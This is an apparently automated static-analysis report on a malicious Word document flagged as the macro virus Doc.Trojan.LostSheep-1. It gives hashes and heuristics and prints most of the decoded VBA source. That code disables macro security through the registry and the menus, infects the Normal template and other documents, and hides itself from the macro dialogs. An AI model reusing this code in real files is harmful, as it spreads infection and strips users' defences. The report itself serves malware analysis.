Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 254b5c81d389c5bd…

MALICIOUS

Office (OLE)

53.5 KB Created: 2005-04-28 17:51:00 Authoring application: Microsoft Word 10.0 First seen: 2012-06-14
MD5: 0f5e0fe8e8b251b31146c12e6c74eb9e SHA-1: 4af0f01b2142d1abfb79fd2d881ab4500f882e85 SHA-256: 254b5c81d389c5bd2792886a1c10c58cf36cd9539aa53164be1e32a0667fac6c
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a malicious Office document containing VBA macros. The script attempts to disable macro security by setting the registry value HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Word\Security\Level to 1. It then injects its code into the Normal template (Normal.dotm) to ensure persistence across Word sessions. The ClamAV detection 'Doc.Trojan.LostSheep-1' further confirms its malicious nature.

Heuristics 3

  • ClamAV: Doc.Trojan.LostSheep-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.LostSheep-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4534 bytes
SHA-256: dcb630d1b5d0b16c80c9b70d2b9e30b922487d3f89dfaab3bc53817aac3b05c0
Detection
ClamAV: Doc.Trojan.LostSheep-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "ThisDocument1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub Document_Close()
On Error Resume Next
'Word2003.Swishmaster
'code by Necronomikon[DCA]
'special thx to SerialKiller ex-CodeBreakers for providing me m$office03
n = 0
CommandBars("Macro").Controls("Security...").Enabled = n
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyAlt, wdKeyF11), KeyCategory:=n, Command:=" "
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Word\Security", "Level") = 1&
If GetAttr(ActiveDocument.FullName) = 1 Then
    SetAttr ActiveDocument.FullName, 0
    ActiveDocument.Reload
   End If
Set ad = ActiveDocument.VBProject.VBComponents(1)
Set nt = NormalTemplate.VBProject.VBComponents(1)
If nt.Name <> "swishmaster" Then
    Set bla = nt.CodeModule
    Set bla1 = ad.CodeModule
    bla.DeleteLines 1, bla.CountOfLines
    bla.InsertLines 1, bla1.Lines(1, bla1.CountOfLines)
    nt.Name = "swishmaster"
End If
If ad.Name <> "swishmaster" Then
    Set bla2 = ad.CodeModule
    Set bla3 = nt.CodeModule
    bla2.DeleteLines 1, bla2.CountOfLines
    bla2.InsertLines 1, bla3.Lines(1, bla3.CountOfLines)
    ad.Name = "swishmaster"
End If
If nt.Name = "swishmaster" Then
    NormalTemplate.Save
    NormalTemplate.Saved = True
End If
checker = Left(ActiveDocument.Name, 8)
If checker <> "Document" And IsNumeric(Right(ActiveDocument.Name, 1)) = False Then
    ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
Else
    ActiveDocument.Saved = True
End If
OurCode = NPE(ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, _
ThisDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines))
SetAttr ActiveDocument.FullName, 1
End Sub
Sub payload()
Application.Caption = "***Swishmaster***"
Application.StatusBar = True
StatusBar = "(c)Necronomikon[DarkCoderzAlliance]"
Set dca = CreateObject("Agent.Control.1")
dca.Connected = True
If VBA.IsObject(dca) Then
dca.Characters.Load "Merlin", "Merlin.acs"
Set nec = dca.Characters("Merlin")
End If
With nec
.Top = 200
.Left = 200
.Show
End With
nec.Play "Greet"
nec.Speak "Here are you, " & Word.Application.UserName & " my lost sheep..." & "\Vol=99"
nec.Play "Read"
nec.Play "GetAttention"
nec.Speak "Listen to me!"
nec.Play "Idle1_1"
nec.Speak "The path to harmony leads over shining ground."
nec.Play "Acknowledge"
Do Until nec.hide.Status = 0
DoEvents
Loop
dca.Characters.Unload "Merlin"
End Sub
Sub ToolsSecurity()
On Error Resume Next
CommandBars("Macro").Controls("Security...").Enabled = True
Dialogs(wdDialogToolsSecurity).Show
CommandBars("Macro").Controls("Security...").Enabled = False
End Sub

Sub FileTemplates()
On Error Resume Next
End Sub

Sub ToolsMacro()
On Error Resume Next
    Call Stealth
    Dialogs(wdDialogToolsMacro).Display
End Sub

Sub ViewVBCode()
On Error Resume Next
    Call Stealth
    ShowVisualBasicEditor = True
End Sub

Sub Stealth()
    On Error Resume Next
    Application.OrganizerDelete Source:=NormalTemplate.Name, _
    Name:="swishmaster", Object:=wdOrganizerObjectProjectItems
    Application.OrganizerDelete Source:=ActiveDocument.Name, _
    Name:="swishmaster", Object:=wdOrganizerObjectProjectItems
    NormalTemplate.Saved = True
    ActiveDocument.Saved = True
End Sub
Sub FileSave()
    On Error Resume Next
Call payload
    ActiveDocument.Save
End Sub
Private Function NPE(poly)
Rem Necronomikon's Polymorph Engine
Dim VaR(6): On Error Resume Next: Randomize
VaR(1) = "poly": VaR(2) = "NPE": VaR(3) = "VaR": VaR(
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.